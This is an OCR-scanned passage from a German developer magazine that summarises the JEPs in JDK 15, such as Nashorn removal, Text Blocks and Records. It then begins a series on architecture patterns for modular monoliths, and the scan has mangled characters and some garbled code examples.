Klassen einsetzen, etwa um die Methoden fiir die konstanten Verkettungen zu
enthalten. Fur die Zusammenarbeit mit JavaScript in Java ist das Erstellen ver-
steckter Klassen, die den Bytecode enthalten, der aus JavaScript-Anwendungen
ubersetzt wurde, durch eine entsprechenden Engine moglich.

Einher mit der neuen Funktionalitidt geht allerdings auch das Bestreben, die
Sprache selbst nicht zu dndern. Zudem ist es definitiv nicht das Ziel, die gesam-
te Funktionalitit von sun.misc.Unsafe::defineAnonymousClass zu unterstiitzen.
Fir das API konnte sich dies, im Gegenteil, als fatal erweisen: Mandy Chung
schldgt vor, es als deprecated zu markieren und in einem der niachsten Java-Up-
dates auszubauen.

JEP 372 - Remove the Nashorn JavaScript Engine

Auf der Jagd nach dem heiligen Gra(a)l gab es so manchen Schwund. Ein sol-
cher ist die JavaScript Engine Nashorn, wie in JEP 372 — ,Remove the Nashorn
JavaScript Engine“ — von Jim Laskey nachzulesen ist. Bereits 2018 wurde der
Grundstein fiir den Ausbau der Nashorn Engine, der entsprechenden APIs und
der JJS Tools gelegt, in Java 11 wurden sie als deprecated markiert. Damit hatte
die urspriinglich in JDK 8 via JEP 174 eingefiihrte Script Engine keine besonders
lange Halbwertszeit, auch wenn sie damals die eher antiquierte Rhino Engine
ersetzte.

Der Teufel steckt bei der Intention, das Nashorn loszuwerden, natiirlich in
der Zeit: JavaScript und der ECMA-Standard entwickeln sich rapide weiter, und
die Engine im JDK auf Stand zu halten, ist gelinde gesagt herausfordernd, wie
das Nashorn-Team im JEP schreibt. Da sich wohl auch die breitere Community
nicht wirklich bewegt hat, um das Nashorn zu pflegen, bleibt nun nur der Schritt
nach vorne, also die JavaScript Engine in den verdienten Ruhestand zu schicken.
Keinen Einfluss hat dieses JEP tibrigens auf das API javax.script, dieses bleibt
unverindert.

Entfernt wurden allerdings
die Module jdk.scripting.
nashorn und jdk.scripting. S
nashorn.shell, wie Jim Las-
key schreibt. Ersteres enthalt

die Packages jdk.nashorn T
: . KA
api.scripting und jdk.nas- v'"’t""‘
: ; L
horn.api.tree, Letzteres die VA
v""Q

JJS-Tools. S
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JEP 373 - Reimplement the Legacy DatagramSocket API
Die Uberarbeitung des DatagramSocket APIs war das
Bestreben des JEP 373. In diesem wurde vorgeschlagen,
das API im Hinblick auf Aktualitit und Wartbarkeit auf
Vordermann zu bringen — ohne dabei die Rickwirts-
kompatibilitdt aus den Augen zu verlieren.

Via JEP 353 wurde bereits damit begonnen, veraltete
Java-Schnittstellen zu uiberarbeiten und neu zu imple-
mentieren. Wahrend es allerdings in JEP 353 um das
Socket API ging (java.net.Socket und java.net.Server-
Socket), wurde mit JEP 373 die Funktionalitdt des Da-
tagramSocket API (java.net.DatagramSocket und java.
net.MulticastSocket) aktualisiert. Wie auch beim Socket
API geht es dabei vor allem um eine modernere und sim-
plere Losung, die leichter zu warten und zu debuggen
ist. Auch diese Bemithungen wurden unter dem Schirm
des Project Loom unternommen.

Ein grofles Problem — wie dies auch bereits bei JEP 353
der Fall war — stellt die Tatsache dar, dass die Imple-
mentierungen der APIs java.net.DatagramSocket und
java.net.MulticastSocket bereits seit JDK 1.0 Teil von
Java und eine Mixtur aus veraltetem Java- und C-Code
sind. Laut JEP 373 war besonders die Implementierung
des MulticastSocket problematisch, da es aus einer Zeit
vor IPv6 stammt. Davon abgesehen gibt es auch in Sa-
chen Nebenlaufigkeit etliche Stellschrauben, an denen
gedreht wurde, was eine Uberarbeitung und Neuimple-
mentierung notig machte.

JEP 374 - Disable and Deprecate Biased Locking
Komplexitit und eine immer geringer werdende mess-
bare Verbesserung der Performance: Diese beiden Fak-
toren haben fiir die Schaffung von JEP 374 gesorgt.
Biased Locking wird mit Java 15 standardmafSig deakti-
viert und schlieSlich in einem spateren Release komplett
ausgebaut.

Nutzer der HotSpot VM werden sich mit dem Begriff
des Biased Locking bereits einmal auseinandergesetzt
haben. Via Biased Locking soll das Ausfithren einer
vergleichenden und austauschenden atomaren Operati-
on beim Erlangen eines Monitors verhindern. Das ge-

\

¢ )
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Anders als bei JEP 353 wurde allerdings nicht in
Betracht gezogen, einfach einen Ersatz fiir Data-
gramSocketImpl bereitzustellen. Stattdessen wrappt
DatagramSocket intern eine neue Instanz seiner selbst
und samtliche Aufrufe werden direkt an diese delegiert.
Die so gewrappte Instanz ist entweder die neue Imple-
mentierung (ein Socket-Adapter, der aus einem NIO-ba-
sierten DatagramChannel::socket erstellt wurde) oder
ein Klon der veralteten DatagramSocket-Klasse, die
dann an die veraltete Implementierung DatagramSock-
etImpl delegiert.

Man hat sich in Bezug auf den DatagramSocket ent-
schieden, nicht gleich Nigel mit Kopfen zu machen: Im
JEP 373 heifst es zwar, dass die veralteten Implemen-
tierungen wohl in einem der kommenden Releases als
deprecated markiert und schliefSlich in mittelfristiger
Zukunft entfernt werden sollen, aber vorerst gibt es
sowohl die neue (NIO-basierte) und die herkommliche
Implementierung. StandardmifSig sollte aber die neue
Implementierung aktiviert sein.

schieht dadurch, dass angenommen wird, dass ein
Monitor im Besitz eines Threads bleibt, bis ein anderer
Thread versucht, den Monitor zu erhalten. Der Moni-
tor bleibt somit einem bestimmten Thread zugeordnet
(,biased“) — dies sorgte in der Vergangenheit fiir Perfor-
manceverbesserungen.

Und genau da kommen wir zum Knackpunkt von
JEP 374: Die oben genannten Verbesserungen in Sachen
Performance sind heute, gerade mit dem Aufkommen
moderner Prozessorarchitekturen, nicht mehr so signi-
fikant wie noch vor einigen Jahren. Damit ist gemeint,
dass atomare Operationen heute sehr viel weniger ins
Gewicht fallen, als dies in der Vergangenheit der Fall
war. Hinzu kommt, dass neuere Anwendungen ohnehin
auf andere Technologien setzen.

Ein weiterer Faktor, der fir das Ende von Biased
Locking spricht, ist die Komplexitat: Manchem Ent-
wickler fillt es mitunter schwer, den Code des Ganzen
zu durchblicken. Kein Wunder also, dass auch Anderun-
gen im Subsystem fiir die Synchronisation schwerfallen.
Die Losung, vorgeschlagen von Patricio Chilano Mateo,
ist radikal: Biased Locking ist im JDK 15 standardmafSig
ausgeschaltet, aufSer man nutzt in der Kommandozeile
den Befehl -XX:+UseBiasedLocking. Die Funktion ist
zudem als deprecated markiert worden und soll in ei-
nem spiteren Release dann endgiiltig entfernt werden.
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JEP 375 - Pattern
Matching for instanceof
(Second Preview)

JEP 375 fiihrt konsequent
weiter, was mit JEP 305
bereits begonnen wurde: Die Einfithrung des Pattern
Matching fiir Java. Im Zuge des Projekts Amber wird
unter anderem am sogenannten Pattern Matching fiir
Java gearbeitet. Fiir den Operator instanceof wird das
Pattern Matching in Java 15 Wirklichkeit werden.
Durch Pattern Matching soll, so fithrt Brian Goetz in
JEP 305 - Pattern Matching for instanceof (Preview)
aus, die Programmiersprache Java pridgnanter und si-
cherer werden.

Ein sogenanntes Pattern ist im Grunde nichts anderes
als eine Kombination eines Pradikats fiir eine bestimm-
te Zielstruktur und einer Reihe von dazu passenden
Variablen. Gibt es bei der Ausfithrung der Anwendung
Treffer fiir die Variablen, werden ihnen passende In-
halte zugewiesen. Die ,,Form“ von Objekten kann so
prazise definiert werden, woraufhin diese dann von
Statements und Expressions gegen den eigenen Input
getestet werden.

Waurde in JEP 305 nur eine Art von Pattern vorge-
schlagen (Type Test Pattern), hat die zweite Preview, die
als JEP 375 — Pattern Matching for instanceof (Second
Preview) fiir JDK 15 vorgeschlagen wurde, noch das
Deconstruction Pattern an Bord. Das Type Test Pattern
besteht aus dem oben genannten Pradikat, das einen
Typ spezifiziert, und einer einzelnen bindenden Variab-
len. Das Deconstruction Pattern besteht aus einem Pra-
dikat, das einen Record-Typ spezifiziert, und mehreren
bindenden Variablen fiir die Komponenten des Record-
Typs.

Die Nutzung von Pattern Matching in instanceof
konnte fir einen starken Riickgang nétiger Typum-
wandlungen in Java-Anwendungen sorgen. In zukiinf-
tigen Java-Versionen konnte dann Pattern Matching
fiir weitere Sprachkonstrukte wie Switch Expressions
kommen.

( / ]

JEP 377 - ZGC: A Scalable
Low-Latency Garbage

Collector (Production)

Mit diesem JEP wird vor-
geschlagen, den Z Garbage - o4
Collector dem experimen-

tellen Status zu entheben und ihn zu einem festen Be-
standteil des JDKs zu machen. Dabei soll der Standard
allerdings nicht verdndert werden: der G1 Garbage
Collector bleibt auch weiterhin der standardmafSig ge-
nutzte GC in Java 15. Der ZGC ist bereits seit Java 11
Bestandteil des JDKs und wurde mit JEP 333 in das Sys-
tem eingefiihrt. Nach etlichen Tests und Bugfixes soll er
nun bereit fiir die Produktion sein.

www.JAXenter.de
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JEP 378 - Text Blocks (Standard)

In Java 13 war JEP 355 als Preview Feature enthalten, mit
dem der neue Typ Text Block eingefiihrt werden sollte.
Die Bemiithungen des JEP basierten auf den Grundlagen,
die bereits fiir JEP 326 und die Raw String Literals ge-
schaffen wurden. Die im Vorschlag beschriebenen Text-
blocke sollen mehrzeilige Stringliterale darstellen. Thre
Formatierung unterliegt einheitlichen Regeln und orien-
tiert sich an der Darstellung des Texts im Quellcode, so-
dass Entwickler nicht zwingend auf Befehle zuriickgreifen
miissen, um das Layout des Texts zu beeinflussen.

Zu den Zielen, die mit der Einfiihrung von Text
Blocks verbunden werden, gehort unter anderem das
leichtere Gestalten mehrzeiliger Strings fiir Programmie-
rer. Durch die Regeln zur automatischen Formatierung
wiren bei einer Einfithrung des Typs keine Escape-Se-
quenzen im Stil von \z nétig. Insbesondere solche Java-
Programme, die Code anderer Programmiersprachen
innerhalb von Strings enthalten, sollen mit dem neuen
Format besser lesbar werden. JEP 368, enthalten in
Java 14, brachte, basierend auf Nutzerfeedback, zwei
neue Escape-Sequenzen fiir dieses Feature, die eine fein-
granulare Kontrolle der Verarbeitung von Newlines und
Whitespaces erlauben: \<line-terminator> und \s. Erste-
re Escape-Sequenz kann genutzt werden, um einen Um-
bruch fiir sehr lange Stringliterale zu forcieren, ohne sie
in kleinere Substrings aufzuteilen.

Nun folgt mit JEP 378: Text Blocks (Standard) die
offizielle Einfithrung als Standard in Java 15. Technisch
sieht das Feature wie folgt aus:

Ohne \<line-terminator> Escape-Sequenz:

String literal = "Lorem ipsum dolor sit amet, consectetur adipiscing " +
"elit, sed do eiusmod tempor incididunt ut labore " +
"et dolore magna aliqua.";

Mit \<line-terminator> Escape-Sequenz:
String text = """

Lorem ipsum dolor sit amet, consectetur adipiscing \

elit, sed do eiusmod tempor incididunt ut labore \

et dolore magna aliqua.\

nnn,
’

Die Escape-Sequenz \s ldsst sich einfach als einzelnes
Leerzeichen (\z0020) beschreiben. Damit lasst sich im
unteren Beispiel sicherstellen, dass die Zeilen exakt
6 Stellen haben und nicht langer sind:

String colors = """
red \s
green\s
blue \s

nn,
’

Diese Escape-Sequenz kann in den neu-
en Text Blocks, aber auch in klassischen
Stringliteralen genutzt werden.
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JEP 379 - Shenandoah: A Low-Pause-Time Garbage
Collector (Production)

Wie in JEP 377 geht es in JEP 379 ebenfalls um einen
Garbage Collector, in diesem Fall den Shenandoah GC.
Auch er soll endlich den experimentellen Status verlas-
sen und fester Bestandteil von Java 15 werden — und
wie ZGC soll auch Shenandoah nicht den Standard Gar-
bage Collector von Java ersetzen. Bereits 2014 wurde
mit JEP 189 der Shenandoah GC als experimentelles
Feature fiir Java vorgeschlagen, doch erst mit JDK 12
wurde er tatsdchlich in Java integriert.

~
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JEP 381 - Remove the Solaris and SPARC Ports

Das Betriebssystem Solaris stammt noch aus den Be-
stinden von Sun Microsystems und ist mittlerweile
nicht mehr wirklich zeitgemafs. Entsprechend wenig
tiberraschend war daher der Wunsch von Oracle, die
Ports fiir Solaris/SPARC, Solaris/x64 und Linux/SPARC
mit JEP 362 als deprecated zu markieren. Der nichste
Schritt, sie endgiiltig loszuwerden, ist nun mit JEP 381
im JDK 15 gekommen. Es sei allerdings angemerkt, dass
alte Java-Versionen (bis einschliefSlich JDK 14) auf alten
Systemen allerdings unverandert laufen sollen, inklusive
der entsprechenden Ports.

Ziel des Ganzen ist es, sich um andere Features kiim-
mern zu konnen. Sollte sich allerdings doch eine Gruppe
engagierter und interessierter Entwickler finden, die die
Ports betreuen und verwalten wollen, konnte die Ent-
fernung aus dem JDK allerdings auch zu einem spateren
Zeitpunkt noch gekippt werden.
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JEP 383 - Foreign-Memory Access API (Second
Incubator)

Es gibt tonnenweise Java-Bibliotheken und auch -An-
wendungen, die auf fremden Speicher zugreifen. Pro-
minente Beispiele sind Ignite, mapDB, memchaced oder
Nettys ByteBuf API. Dennoch stellt das Java API selbst
keine gute Moglichkeit hierfiir zur Verfiigung — und
das, obwohl dadurch Kostenaufwand in Sachen Gar-
bage Collection (besonders bei der Verwaltung groflen
Caches) gespart und Speicher tiber mehrere Prozesse
hinweg geteilt werden kann. Auch das Serialisieren und
Deserialisieren von Speicherinhalten via Mappings von
Dateien in den Speichern wird durch den Zugriff auf
fremden Speicher moglich (etwa via mmap).

Mit JEP 370 wurde ein passendes Java API ins JDK
implementiert, mit dem Java-Anwendungen sicher und
effizient auf fremden Speicher zugreifen konnen, der au-
fSerhalb des Java Heaps angesiedelt ist. Wichtig sind die
drei Pramissen: Allgemeingiiltigkeit, Sicherheit und De-
terminismus. JEP 383 stellt die zweite Inkubatorphase
des im Projekt Panama entwickelten API dar.

In diesem Zusammenhang bedeutet ,,Allgemeingiil-
tigkeit®, dass ein einziges API in Verbindung mit unter-
schiedlichen fremden Speichern arbeiten sollte (gemeint
sind nativer Speicher, persistenter Speicher etc.). Die
»Sicherheit*  der
JVM ist das hochs-
te Gut, daher sollte
das API nicht dazu
fahig sein, diese zu
unterwandern — vol-
lig egal, welcher
Speicher zum Ein-
satz kommt. Zudem
(,Determinismus ‘) l
sollte die Freigabe I\
von Speicher explizit
im Quelltext erfolgen.

Fir den Rehaul in Java 15 wurde das neue VarHan-
dle combinator APl implementiert, das die Individua-
lisierbarkeit der var-Handles fiir den Speicherzugriff
gewihrleistet. Die Unterstiitzung fiir das Parallel Pro-
cessing einzelner Speichersegmente via Spliterator-
Interface ist ebenso Teil der Uberarbeitung wie ein
verbesserter Support fiir gemappte Speichersegmente
(bspw. MappedMemorySegment::force). Neu sind auch
sichere API-Punkte, um serielle Einschrankungen zu un-
terstiitzen, und unsichere API-Punkte. Letztere erlauben
das Manipulieren und Riickverweisen von Adressen, die
etwa von nativen Aufrufen stammen. Durch unsichere
API-Punkte konnen zudem solcherlei Adressen in syn-
thetische Speichersegmente gewrappt werden.

JEP 383 wurde im Zuge des Project Panama entwi-
ckelt und stellt eine klare Alternative zur Verwendung
von existierenden APIs wie ByteBuffer, Unsafe oder JNI
dar. Natiirlich steht die Implementierung dabei ganz im
Zeichen der generellen Maxime des Projekts: der Unter-
stiitzung von nativer Interoperabilitit von Java.
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JEP 384 - Records (Second Preview)

JEP 384 bringt Records als ,,Second Preview* fiir Java.
Bei Records handelt es sich um einen neuen Klassen-
typ, der im Zuge des Projekts Valhalla entwickelt wur-
de. Diese stellen — wie beispielsweise auch enums — eine
eingeschriankte Form der Deklaration class dar. Records
unterscheiden sich von klassischen Klassen darin, dass sie
ihr API nicht von dessen Reprasentation entkoppeln kon-
nen. Die Freiheit, die dabei verloren geht, wird aber durch
die gewonnene Prizision wettgemacht. Im Proposal zu
den Records hiefS es dazu, dass ein Record ,,der Zustand,
der gesamte Zustand und nichts als der Zustand“ sei. Er
besteht aus einem Namen, einem Header und dem Body:

record Point(int x, int y) { }

Der Header stellt hier die Liste der Komponenten des
Records dar, also die Variablen, die den Zustand be-
schreiben. Records bleiben dabei Klassen, auch wenn sie
eingeschrankt sind. So konnen sie etwa Annotationen
oder Javadocs enthalten und deren Body u. a. statische
Felder sowie Methoden, Konstruktoren oder Instanzme-
thoden deklarieren. Was sie allerdings nicht vermogen,
ist die Erweiterung anderer Klassen oder die Deklaration
von Instanzfeldern (mit der Ausnahme der Statuskompo-
nenten, die im Header des Records deklariert wurden).

JEP 385 - Deprecate RMI Activation for Removal

Den Abschluss fiir JDK 15 bildet erneut eine Schlankheits-
kur: Der RMI-Activation-Mechanismus wird in den Ru-
hestand geschickt und als deprecated markiert. Er ist dafiir
verantwortlich, dass RMI-basierte Services sogenannte
Stubs exportieren konnen, deren Gultigkeit die Lebenszeit
eines Remote-Objekts oder der JVM, die es enthilt, tiber-
steigt. Die Krux an der Geschichte ist, dass mit ,,konven-
tionellem* RMI Stubs sofort nach der Zerstorung eines
Remote-Objekts ungiiltig werden. Fiir Entwickler be-
deutet es gehorigen Aufwand,

diesen Zustand via komplexer

Fehlerbehandlungslogik aufzu-

losen. Hierbei kann der RMI

Activation Service helfen. Al-

lerdings wird der Mechanismus

verhaltnismafSig selten genutzt,

weshalb mit JEP 385 das Ende

eingeldutet wird.
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Architektur

Modulithen

Architekturpatterns in Modulithen - Teil 1

Ordnung ins Chaos

bringen

»Wir haben diesen Legacy-Monolithen, den wollen wir in Microservices aufbrechen”. So einen
Satz hort man als Berater in der Softwarebranche oft. Auf die Frage ,Warum* erhalt man oft
die Antwort ,Modularisierung®. Denn es herrscht die weitverbreitete Ansicht, dass Monolithen
grundsatzlich aus schlecht strukturiertem Legacy-Code bestehen und sich Monolithen und
Modularisierung gegenseitig ausschlieRen. Dass dem nicht so ist, zeigt die Architekturform der
Modulithen. In dieser Artikelserie wird sie beleuchtet und beschrieben, mit welchen Patterns
ein Modulith gelingen kann und welche Antipatterns man dabei vermeiden sollte.

von Arold Franke

Wer in den letzten sieben Jahren Softwarekonferenzen
besucht hat, der musste ganz schon Slalom laufen, wenn
er dem Thema Microservices [1] aus dem Weg gehen
wollte. Aufgrund ihrer vielversprechenden Eigenschaf-
ten wurde diese Form der Systemarchitektur stark ge-
hypt und von vielen Entwicklern, Architekten und

Architekturpatterns in Modulithen

Teil 1: Ordnung ins Chaos bringen
Teil 2: Wer mit wem reden darf
Teil 3: Die Bude sauber halten
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Firmen als Heilsbringer angesehen. Mit etwas Abstand
betrachtet, handelt es sich dabei aber um keine Silver
Bullet, sondern nur um eine von vielen Moglichkeiten,
ein Softwaresystem zu strukturieren — mit eigenen Vor-
und Nachteilen (Abb. 1). Eine Landschaft aus wirklich
entkoppelten Microservices zu bauen, die alle Vorteile
dieser Architekturform mitnimmt, ist alles andere als
trivial, und man ist selbst dann nicht gegen strukturelle
Stolperfallen wie Conway’s Law [2] gefeit. Wenn man
Microservices ungiinstig schneidet und verkniipft, dann
besteht genauso die Gefahr, am Ende einen groflen De-
ployment-Monolithen aus Legacy Code zu erhalten.
Den Hype tiberlebt haben die ,,guten alten“ Mono-
lithen. Grofle Deployment-Einheiten mit einer riesigen
Codebase, die sich den Ruf von schlechter Wartbarkeit
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und Erweiterbarkeit eingehandelt haben. Einerseits
tiberlebten sie, weil man einige davon aufgrund gewach-
sener Komplexitit und schlecht auflésbarer Abhingig-
keiten nur schwer wieder losbekommt. Andererseits,
weil sie in Form der modularen Monolithen — Modu-
lithen — eine Renaissance in der Entwicklercommuni-
ty erleben. Modulithen vereinigen einige der Vorteile
der Microservices-Architektur, zum Beispiel modula-
re Struktur mit gekapselten Verantwortlichkeiten und
uibersichtlichen Abhingigkeiten, wihrend sie auf einige
der Nachteile, wie beispielsweise komplexe Infrastruk-
tur und Kommunikations-Overhead, verzichten. Das
macht die Modulithen nicht zu einer den Microservices
tiberlegenen Architekturform (Kasten: ,,Was konnen
Microservices, was ein Modulith auch kann?“). Sie sind
nur ein weiterer valider Ansatz zur Strukturierung eines
Softwaresystems, der in bestimmten Kontexten sinnvol-
ler ist als andere.

Die Wahl der Architekturform hingt letztendlich da-
von ab, auf welchen Aspekt man optimieren mochte.
Individuelle Skalierung? Entwicklungsgeschwindigkeit?
Resilience? Komplexitit der Infrastruktur? Das sind
alles Faktoren, die bei dieser Entscheidung eine Rolle
spielen.

Dabei ist die Idee des modularen Monolithen durch-
aus keine neue. Sie ist aber nur erfolgreich und nachhal-
tig umsetzbar, wenn man es schafft, durch nachhaltige
Anwendungsarchitektur die Komplexitit einer grofSen
Codebase im Zaum zu halten und Verstindlichkeit und
Wartbarkeit des Codes zu wahren. Damit habe ich mich
in den letzten sieben Jahren in mehreren Softwarepro-
jekten beschiftigt und mochte in dieser Serie einige
Patterns und Antipatterns teilen, um anderen Moduli-
then-Bauern leichter zum Erfolg zu verhelfen.

Den Monolithen schneiden
Egal ob man einen historisch gewachsenen Monolithen
besser strukturieren will oder ein grofSes Projekt auf der
griinen Wiese startet — eine der ersten Entscheidungen,
die man treffen muss, ist: ,, Wie schneide ich meinen Code
in Module?“ Dazu muss man sich bewusst machen, was
ein gutes Modul ausmacht: Einer der wichtigsten As-
pekte einer modularen Architektur ist die Separation of
Concerns. Ein Modul hat eine klare Verantwortlichkeit
und ist nur fiir diese zustindig. Es kiimmert sich dabei
nicht um Verantwortlichkeiten anderer Module (kein
Featureneid [3]). Es kapselt seine Verantwortlichkeit
und alle dazu benétigten internen Aspekte wie die Im-
plementierung von Businesslogik und die Persistenz von
Daten, sodass sie nicht von aufSen manipulierbar sind.
Um mit der Auflenwelt und anderen Modulen zu
kommunizieren, stellt ein Modul Schnittstellen fiir die
notwendigen Operationen bereit, die kontrollierten
Zugriff auf seine Verantwortlichkeit erlauben. Es ist
moglichst entkoppelt von anderen Modulen und hat so
wenige Abhingigkeiten wie moglich. Intern weist es eine
hohe Kohision auf, d. h., dass es keine ,,Inseln* enthilt,
die mit dem Rest des Moduls nichts zu tun haben.

Modulithen

Architektur

Abb. 1: Vier Jahre spater ...

Abb. 2: Reine Schichtenarchitektur

Dieses Paradigma der geringen Kopplung und hohen
Kohision schliefSt es bereits aus, Module nach rein tech-
nischen Schichten horizontal zu schneiden. Stellen wir
uns z. B. ein Modul vor, das als einzige Verantwortlich-
keit Persistenz hat. Darin wiren Interfaces/Klassen, die
jeweils auf ,,ihre“ Tabelle in der Datenbank zugreifen.
Diese Klassen wiirden sich nie gegenseitig aufrufen, son-
dern jeweils nur Datenbankzugriffe vornehmen — also
geringe Kohasion innerhalb des Moduls. Die Kopplung
mit ,Modulen®“ anderer Schichten dagegen wire ver-
mutlich betrachtlich, da jede datenverarbeitende Logik
der Anwendung auf dieses eine Persistenzmodul zugrei-
fen miusste. Damit hitten wir gleichzeitig ein weiteres
Antipattern geschaffen, den Dependency Magnet — ein
Modul, das Abhingigkeiten zu allen anderen Teilen der
Anwendung hat. Wenn man seine ganze Anwendung
mit solchen horizontalen Schnitten strukturiert, dann
hat man am Ende eine reine Schichtenarchitektur ohne
Module und mit einem uniibersichtlichen und immer
grofler werdenden Abhingigkeitskniuel (Abb. 2).

Ein besseres Vorgehen zur Bildung von Modulen
sind daher vertikale Schnitte nach fachlichen Verant-
wortlichkeiten (Abb. 3). Jedes Modul erhilt die Ver-

Was konnen Microservices, was ein
Modulith auch kann?

= Technische Trennung von fachlichen Kontexten

= Kleine, weitgehend unabhangig voneinander entwickelba-
re Module

= Beherrschbare Komplexitét, einfache Erweiterbarkeit

= Klare Abhé&ngigkeiten mit expliziten Schnittstellen, gerin-
ges Risiko fiir unerwartete Nebeneffekte

= Continuous Integration, Continuous Delivery
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Abb. 3: Strukturierung nach fachlichen Modulen

antwortung fiir einen
klar abgetrennten fach-
lichen Subkontext und
beinhaltet alle Aspekte,
die dieser Kontext zum
Funktionieren braucht.
Es hat die Hoheit tiber
die Daten und die Logik
dieser einen Teilmen-
ge der Fachlichkeit und
entscheidet, auf welche
Weise diese nach aufSen
bereitgestellt werden.
Wenn wir uns zum Bei-

Abb. 4: Wie bei Hempels unterm Sofa

spiel das Verwaltungs-
system eines Kinos [4]
vorstellen, dann haben wir ein Modul fiir den fachli-
chen Subkontext ,Reservierung®, das die Daten aller
Sitzplatzreservierungen hilt und die fachliche Logik fir
das Reservieren und Stornieren von Sitzpldtzen imple-
mentiert. Ein anderes Modul ,, Ticket“ hat die Hoheit
tiber den Verkauf von Karten. Es darf keine Reservie-
rungen selbst speichern oder dndern, kann aber dem
Reservierungsmodul iiber eine Schnittstelle mitteilen,
dass eine reservierte Karte abgeholt wurde, damit das
Reservierungsmodul unter Beriicksichtigung aller Re-
servierungsbusinessregeln die entsprechenden Anderun-
gen an der Reservierung vornehmen kann. Diese Art von
Modulschnitt hat noch weitere Vorteile:

¢ Die Codestruktur bewegt sich nahe an der Fachlich-
keit, was fiir ein einheitlicheres Verstindnis zwischen

Abb. 5: Die Klassen
halten sich an konsistente
Namenskonventionen ...
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... und durch saubere Access Modifier konnen an-
dere Module nur auf die definierten Schnittstellen
des Moduls zugreifen (griines Schloss)
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Entwicklern und Fachseite sorgt und die Kommuni-
kation erleichtert.

e Abhingigkeiten zwischen fachlichen Kontexten fin-
den sich 1:1 in den Abhingigkeiten zwischen den
Modulen wieder.

® Da neue Features und Erweiterungen meist fachlich
getrieben sind, fallt es leicht, die anzupassenden
Module zu identifizieren und das Ausmaf$ der Ande-
rungen darauf zu beschrinken. Potenzielle Auswir-
kungen auf andere fachliche Aspekte werden schnell
erkannt, und unerwiinschte Nebenwirkungen sind
leichter vermeidbar.

® Wenn man es zu einem spéteren Zeitpunkt fiir sinn-
voll hilt, aus einem fachlichen Subkontext einen
eigenen Service zu schneiden, dann ist es einfacher,
den Code fiir den neuen Service zu extrahieren.

e Testbarkeit: Es ist moglich, die fachliche Logik eines
Moduls getrennt von anderen Modulen und zusam-
menhingend durch alle Schichten durchzutesten —
von der Schnittstelle bis zur Datenbank.

Um die fachlichen Subkontexte zu identifizieren und ge-
geneinander abzugrenzen, bietet sich das Konzept der
Bounded Contexts [5] aus dem Domain-driven Design
an. Ein Bounded Context vereinigt die Sprache, Regeln
und Events einer Subdomain und grenzt sie gegen ande-
re Subdomains ab. Methodisch kann man die Definition
von Bounded Contexts durch Event Storming oder Con-
text Mapping herauskristallisieren.

Nachdem man seine potenziellen Module identifi-
ziert hat, sollte man sie im Code materialisieren. In ei-
ner Java-Anwendung ist der einfachste Weg dafiir die
Package-Struktur. Jedes Modul besteht aus einem Top-
Level Package, in dem man allen Code unterbringt, der
zum fachlichen Kontext des Moduls gehort. Im weiteren
Verlauf der Artikelserie und in Beispielen wird exemp-
larisch diese Methode verwendet. Es gibt auch andere
Moglichkeiten, Module innerhalb einer Java Codebase
abzubilden, worauf ich in einem spiteren Abschnitt
noch eingehen werde.

Modulinterne Struktur
Wenn wir nun ein Modul definiert, ein Package dafiir
erstellt und allen Code, der zum Subkontext gehort, hi-
neingeworfen haben, dann kann das am Beispiel unse-
res Reservierungsmoduls erst einmal so aussehen, wie in
Abbildung 4 gezeigt. Wir sehen eine Menge Code, der
sich anscheinend um fachliche Logik rund um die Re-
servierung kiimmert. So weit, so gut. Leider ist es aber
noch etwas uniibersichtlich. Die Struktur ist undurch-
sichtig, die Namensgebung inkonsistent und auch die
Schnittstelle nach aufSen ist nicht klar definiert, weil alle
Klassen und Methoden den public-Modifier haben und
damit von auflen benutzbar sind. Um den Code modul-
intern besser zu strukturieren, gibt es unterschiedliche
Patterns mit jeweils eigenen Vor- und Nachteilen:
Single Package Modul (Abb. 5): Bei diesem Ansatz
verzichten wir auf weitere Unterteilungen innerhalb des
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rierung ...

Abb. 6: Ubersichtliche Struktu-

... auf Kosten der Kapselung interner Logik

Abb. 7: Die Businesslogik ist

gekapselt ...

... aber modulinterne Methoden mussen als
public deklariert werden

Modul-Packages. Das kann bei groflen Modulen der
Ubersichtlichkeit schaden. Dem kann man durch kla-
re Namenskonventionen, die die Zustindigkeiten der
einzelnen Klassen verdeutlichen, etwas entgegenwir-
ken. Ein Riesenvorteil ist, dass hier die Access Modi-
fier in Java voll genutzt werden konnen. Alle Klassen
im Modul sind package private, von auflen nicht sicht-
bar und stellen nur package private-Methoden bereit.
Klasseninterne Methoden sind natiirlich private. Nur
der Business-Service, der die Fachlichkeit des Moduls
nach aufSen bereitstellt, ist public und exponiert public-
Methoden. Auch die zugehorigen Businessobjekte, die
nach auflen gereicht werden, sind public. So wird eine
klar definierte Schnittstelle bereitgestellt, die von Clients
des Moduls nicht umgangen werden kann..

Slices before Layers (Abb. 6): Dieser Ansatz geht da-
von aus, dass zuerst vertikale Slices gebildet werden (das
sind bereits die Modulschnitte) und diese Slices danach
in horizontale, technische Schichten weiter unterteilt
werden. Diese Unterteilung findet innerhalb des Moduls
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durch Unterpackages statt, tiblicherweise Persistence,
Business, API etc. Dadurch werden die Schichten inner-
halb eines Moduls leichter erkennbar und unidirekti-
onale Zugriffe zwischen den Schichten von oben nach
unten leichter kontrollierbar. Das dient vor allem der
Organisation des Codes und verbessert die Ubersicht-
lichkeit. Allerdings geht diese Aufteilung zu Lasten der
Kapselung, denn das Modul muss interne Klassen und
Methoden als public exponieren, da sonst die Packages
der Schichten nicht aufeinander zugreifen konnen. Da-
durch ist es schwieriger, eine klar definierte Schnittstelle
bereitzustellen.

Hexagonal Architecture (Abb. 7): Diese auch Ports &
Adapters [6] genannte Architekturform ist eigentlich fiir
die Strukturierung einer ganzen Anwendung gedacht,
lasst sich aber auch auf den Code innerhalb eines Mo-
duls tbertragen. Sie basiert auf dem Prinzip, dass die
Domain-Logik in einer zentralen Businesskomponente
gekapselt ist und Interaktionen mit der AufSenwelt au-
fSerhalb davon liegen. Die AufSenwelt sind in diesem Fall
die User Side (APIs fur Clients, GUI etc.) und die Server
Side (Datenbank, Dateisystem, andere Server). Dabei
hingt immer die dufSere Interaktion von der zentralen
Businesskomponente ab und nie umgekehrt. Im Fall ei-
nes Modulithen kénnen sowohl User Side als auch Ser-
ver Side Interaktionen mit anderen Modulen innerhalb
desselben Modulithen beinhalten.

Der Vorteil ist, dass alle Businessregeln — auch Zugrif-
fe auf Daten und die Art, wie Daten bereitgestellt und
manipuliert werden — innerhalb der zentralen Business-
komponente definiert und gekapselt sind. Wie die User
Side und Server Side diese Regeln implementieren, ist
davon entkoppelt, sie konnen aber nicht von ihnen ab-
